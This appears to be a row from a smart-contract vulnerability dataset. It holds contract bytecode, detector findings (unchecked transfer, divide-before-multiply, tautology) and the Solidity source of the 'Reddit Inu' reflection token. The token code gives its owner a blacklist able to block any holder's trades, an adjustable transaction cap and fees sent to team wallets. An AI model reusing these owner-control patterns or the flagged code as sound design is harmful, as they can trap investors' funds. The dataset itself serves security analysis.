01b0316331461097b5760405162461bcd60e51b8152600401808060200182810382526028815260200180610f216028913960400191505060405180910390fd5b600355565b600154600160a01b900460ff166109de576040805162461bcd60e51b815260206004820152601b60248201527f5374616b696e67206e6f742079657420696e697469616c697a65640000000000604482015290519081900360640190fd5b600154604080516370a0823160e01b8152336004820152905183926001600160a01b0316916370a08231916024808301926020929190829003018186803b158015610a2857600080fd5b505afa158015610a3c573d6000803e3d6000fd5b505050506040513d6020811015610a5257600080fd5b50511015610aa7576040805162461bcd60e51b815260206004820152601d60248201527f496e73756666696369656e742053574150204146542062616c616e6365000000604482015290519081900360640190fd5b60025481610ab4336103c5565b011015610af25760405162461bcd60e51b815260040180806020018281038252603d815260200180610ee4603d913960400191505060405180910390fd5b60015460408051636eb1769f60e11b8152336004820152306024820152905183926001600160a01b03169163dd62ed3e916044808301926020929190829003018186803b158015610b4257600080fd5b505afa158015610b56573d6000803e3d6000fd5b505050506040513d6020811015610b6c57600080fd5b50511015610bab5760405162461bcd60e51b815260040180806020018281038252603b815260200180610ea9603b913960400191505060405180910390fd5b33600081815260076020908152604080832042600382015560068054870190556001808201805488019055600854600290920180549288029092019091555481516323b872dd60e01b815260048101959095523060248601526044850186905290516001600160a01b03909116936323b872dd9360648083019493928390030190829087803b158015610c3d57600080fd5b505af1158015610c51573d6000803e3d6000fd5b505050506040513d6020811015610c6757600080fd5b5050604080518281529051309133917f160ffcaa807f78c8b4983836e2396338d073e75695ac448aa0b5e4a75b210b1d9181900360200190a350565b80610cad336103c5565b1015610cea5760405162461bcd60e51b8152600401808060200182810382526032815260200180610e4c6032913960400191505060405180910390fd5b6006805482900390553360008181526007602090815260408083206001818101805488900390556008546002909201805492880290920390915554815163a9059cbb60e01b815260048101959095526024850186905290516001600160a01b039091169363a9059cbb9360448083019493928390030190829087803b158015610d7257600080fd5b505af1158015610d86573d6000803e3d6000fd5b505050506040513d6020811015610d9c57600080fd5b5051610de4576040805162461bcd60e51b8152602060048201526012602482015271151c985b9cd858dd1a5bdb8819985a5b195960721b604482015290519081900360640190fd5b604080518281529051339130917f15fba2c381f32b0e84d073dd1adb9edbcfd33a033ee48aaea415ac61ca7d448d9181900360200190a350565b6000808060001984860990508385029250828103915082811015610e43576001820391505b50925092905056fe596f752063757272656e746c7920646f206e6f74206861766520757020746f207468617420616d6f756e74207374616b6564417574686f72697a6174696f6e3a206f6e6c7920746f6b656e20636f6e74726163742063616e2063616c6c4e6f7420656e6f75676820616c6c6f77616e636520676976656e20746f20636f6e74726163742079657420746f207370656e642062792075736572596f757220616d6f756e74206973206c6f776572207468616e20746865206d696e696d756d20616d6f756e7420616c6c6f77656420746f207374616b654f776e61626c653a2063616c6c6572206973206e6f74207468652061646d696e6973747261746f72496e73657274696f6e206f662061646472657373283029206973206e6f7420737570706f72746564496e73657274696f6e206f662073616d652061646472657373206973206e6f7420737570706f72746564a264697066735822122089a9f100423e88fe3c74b9c78e12e3440758ce6afde987cb64ec52a6c713caa764736f6c63430006040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}} | 10,375 |
0xe1ac2c24e355580857d6cabd18304e3bda6f141b | /*
REDDIT INU token
Telegram: https://t.me/redditinu
Twitter: https://twitter.com/redditinu
*/
//SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract RedditInu is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1* 10**12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "Reddit Inu";
string private constant _symbol = 'REDDIT️';
uint8 private constant _decimals = 9;
uint256 private _taxFee = 2;
uint256 private _teamFee = 8;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress) public {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) {
require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only");
}
}
if(from != address(this)){
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
}
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
} | 0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610567578063c3c8cd801461062c578063c9567bf914610643578063d543dbeb1461065a578063dd62ed3e1461069557610114565b8063715018a61461040e5780638da5cb5b1461042557806395d89b4114610466578063a9059cbb146104f657610114565b8063273123b7116100dc578063273123b7146102d6578063313ce567146103275780635932ead1146103555780636fc3eaec1461039257806370a08231146103a957610114565b806306fdde0314610119578063095ea7b3146101a957806318160ddd1461021a57806323b872dd1461024557610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e61071a565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016e578082015181840152602081019050610153565b50505050905090810190601f16801561019b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101b557600080fd5b50610202600480360360408110156101cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610757565b60405180821515815260200191505060405180910390f35b34801561022657600080fd5b5061022f610775565b6040518082815260200191505060405180910390f35b34801561025157600080fd5b506102be6004803603606081101561026857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610786565b60405180821515815260200191505060405180910390f35b3480156102e257600080fd5b50610325600480360360208110156102f957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061085f565b005b34801561033357600080fd5b5061033c610982565b604051808260ff16815260200191505060405180910390f35b34801561036157600080fd5b506103906004803603602081101561037857600080fd5b8101908080351515906020019092919050505061098b565b005b34801561039e57600080fd5b506103a7610a70565b005b3480156103b557600080fd5b506103f8600480360360208110156103cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ae2565b6040518082815260200191505060405180910390f35b34801561041a57600080fd5b50610423610bcd565b005b34801561043157600080fd5b5061043a610d53565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561047257600080fd5b5061047b610d7c565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104bb5780820151818401526020810190506104a0565b50505050905090810190601f1680156104e85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561050257600080fd5b5061054f6004803603604081101561051957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610db9565b60405180821515815260200191505060405180910390f35b34801561057357600080fd5b5061062a6004803603602081101561058a57600080fd5b81019080803590602001906401000000008111156105a757600080fd5b8201836020820111156105b957600080fd5b803590602001918460208302840111640100000000831117156105db57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610dd7565b005b34801561063857600080fd5b50610641610f27565b005b34801561064f57600080fd5b50610658610fa1565b005b34801561066657600080fd5b506106936004803603602081101561067d57600080fd5b810190808035906020019092919050505061160f565b005b3480156106a157600080fd5b50610704600480360360408110156106b857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506117be565b6040518082815260200191505060405180910390f35b60606040518060400160405280600a81526020017f52656464697420496e7500000000000000000000000000000000000000000000815250905090565b600061076b610764611845565b848461184d565b6001905092915050565b6000683635c9adc5dea00000905090565b6000610793848484611a44565b6108548461079f611845565b61084f85604051806060016040528060288152602001613d3160289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610805611845565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122a39092919063ffffffff16565b61184d565b600190509392505050565b610867611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610927576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b610993611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a53576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80601360176101000a81548160ff02191690831515021790555050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ab1611845565b73ffffffffffffffffffffffffffffffffffffffff1614610ad157600080fd5b6000479050610adf81612363565b50565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610b7d57600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610bc8565b610bc5600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461245e565b90505b919050565b610bd5611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c95576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600981526020017f524544444954efb88f0000000000000000000000000000000000000000000000815250905090565b6000610dcd610dc6611845565b8484611a44565b6001905092915050565b610ddf611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e9f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60005b8151811015610f2357600160076000848481518110610ebd57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050610ea2565b5050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610f68611845565b73ffffffffffffffffffffffffffffffffffffffff1614610f8857600080fd5b6000610f9330610ae2565b9050610f9e816124e2565b50565b610fa9611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611069576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b601360149054906101000a900460ff16156110ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f74726164696e6720697320616c7265616479206f70656e00000000000000000081525060200191505060405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061117c30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061184d565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156111c257600080fd5b505afa1580156111d6573d6000803e3d6000fd5b505050506040513d60208110156111ec57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561125f57600080fd5b505afa158015611273573d6000803e3d6000fd5b505050506040513d602081101561128957600080fd5b81019080805190602001909291905050506040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b15801561130357600080fd5b505af1158015611317573d6000803e3d6000fd5b505050506040513d602081101561132d57600080fd5b8101908080519060200190929190505050601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306113c730610ae2565b6000806113d2610d53565b426040518863ffffffff1660e01b8152600401808773ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200196505050505050506060604051808303818588803b15801561145757600080fd5b505af115801561146b573d6000803e3d6000fd5b50505050506040513d606081101561148257600080fd5b810190808051906020019092919080519060200190929190805190602001909291905050505050506001601360166101000a81548160ff0219169083151502179055506001601360176101000a81548160ff0219169083151502179055506001601360146101000a81548160ff021916908315150217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156115d057600080fd5b505af11580156115e4573d6000803e3d6000fd5b505050506040513d60208110156115fa57600080fd5b81019080805190602001909291905050505050565b611617611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000811161174d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f416d6f756e74206d7573742062652067726561746572207468616e203000000081525060200191505060405180910390fd5b61177c606461176e83683635c9adc5dea000006127cc90919063ffffffff16565b61285290919063ffffffff16565b6014819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6014546040518082815260200191505060405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156118d3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180613da76024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611959576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180613cee6022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190